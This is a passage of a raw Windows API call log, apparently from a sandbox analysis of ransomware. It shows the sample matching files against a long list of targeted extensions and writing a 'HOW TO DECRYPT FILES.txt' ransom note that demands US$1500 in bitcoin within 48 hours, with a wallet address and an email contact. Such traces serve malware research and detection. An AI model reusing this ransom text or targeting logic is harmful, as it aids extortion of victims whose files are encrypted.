(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.002] lstrlenA (lpString="*.vmx") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.002] lstrlenA (lpString="*.vmdk") returned 6 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.002] lstrlenA (lpString="*.vdi") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.002] lstrlenA (lpString="*.lay6") returned 6 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.002] lstrlenA (lpString="*.mpeg") returned 6 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.003] lstrlenA (lpString="*.djvu") returned 6 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.003] lstrlenA (lpString="*.tiff") returned 6 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.003] lstrlenA (lpString="*.backup") returned 8 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.003] lstrlenA (lpString="*.pdf") returned 5 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.003] lstrlenA (lpString="*.cert") returned 6 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.003] lstrlenA (lpString="*.docm") returned 6 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.003] lstrlenA (lpString="*.xlsm") returned 6 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.003] lstrlenA (lpString="*.dwg") returned 5 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.003] lstrlenA (lpString="*.nd") returned 4 [0103.003] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.003] lstrlenA (lpString="*.tlg") returned 5 [0103.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.004] lstrlenA (lpString="*.lgb") returned 5 [0103.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.004] lstrlenA (lpString="*.mov") returned 5 [0103.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.004] lstrlenA (lpString="*.xdw") returned 5 [0103.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.005] lstrlenA (lpString="*.ods") returned 5 [0103.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.005] lstrlenA (lpString="*.wav") returned 5 [0103.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.005] lstrlenA (lpString="*.mp3") returned 5 [0103.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.005] lstrlenA (lpString="*.aiff") returned 6 [0103.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.005] lstrlenA (lpString="*.flac") returned 6 [0103.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.005] lstrlenA (lpString="*.m4a") returned 5 [0103.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.005] lstrlenA (lpString="*.csv") returned 5 [0103.005] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744c010, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x2744c010, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x2744c010, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.005] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.005] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d24500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44d4a660, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44d4a660, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="4779a2f67e42e7a66cd4d9e054d66de6", cAlternateFileName="4779A2~1")) returned 1 [0103.006] lstrcmpA (lpString1=".", lpString2="4779a2f67e42e7a66cd4d9e054d66de6") returned -1 [0103.006] lstrcmpA (lpString1="..", lpString2="4779a2f67e42e7a66cd4d9e054d66de6") returned -1 [0103.006] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.006] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="4779a2f67e42e7a66cd4d9e054d66de6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6" [0103.006] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6") returned 100 [0103.006] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d24500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44d4a660, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44d4a660, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.007] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.007] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44d24500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44d4a660, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44d4a660, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.007] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.007] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.007] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cfe3a0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44cfe3a0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44cfe3a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.007] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned -1 [0103.007] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned -1 [0103.007] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned -1 [0103.007] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\*.*") returned="*.*" [0103.007] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\" [0103.007] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\") returned="" [0103.007] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\HOW TO DECRYPT FILES.txt" [0103.007] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\4779a2f67e42e7a66cd4d9e054d66de6\\how to decrypt files.txt")) returned 0xffffffff [0103.007] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\4779a2f67e42e7a66cd4d9e054d66de6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.011] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.011] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.013] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.013] CloseHandle (hObject=0x90) returned 1 [0103.013] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll" [0103.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.013] lstrlenA (lpString="*.ems") returned 5 [0103.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.013] lstrlenA (lpString="*.db") returned 4 [0103.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.013] lstrlenA (lpString="*.dbf") returned 5 [0103.013] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.014] lstrlenA (lpString="*.myox") returned 6 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.014] lstrlenA (lpString="*.myo") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.014] lstrlenA (lpString="*.qbw") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.014] lstrlenA (lpString="*.qbb") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.014] lstrlenA (lpString="*.qbm") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.014] lstrlenA (lpString="*.qbo") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.014] lstrlenA (lpString="*.qbx") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.014] lstrlenA (lpString="*.qba") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.014] lstrlenA (lpString="*.qby") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.014] lstrlenA (lpString="*.qbj") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.014] lstrlenA (lpString="*.ofx") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.014] lstrlenA (lpString="*.qif") returned 5 [0103.014] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.015] lstrlenA (lpString="*.mye") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.015] lstrlenA (lpString="*.mbox") returned 6 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.015] lstrlenA (lpString="*.eml") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.015] lstrlenA (lpString="*.pst") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.015] lstrlenA (lpString="*.ost") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.015] lstrlenA (lpString="*.idx") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.015] lstrlenA (lpString="*.dbx") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.015] lstrlenA (lpString="*.sql") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.015] lstrlenA (lpString="*.mdb") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.015] lstrlenA (lpString="*.fdb") returned 5 [0103.015] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.015] lstrlenA (lpString="*.wab") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.016] lstrlenA (lpString="*.dat") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.016] lstrlenA (lpString="*.txt") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.016] lstrlenA (lpString="*.jpeg") returned 6 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.016] lstrlenA (lpString="*.jpg") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.016] lstrlenA (lpString="*.png") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.016] lstrlenA (lpString="*.php") returned 5 [0103.016] PathMatchSpecA 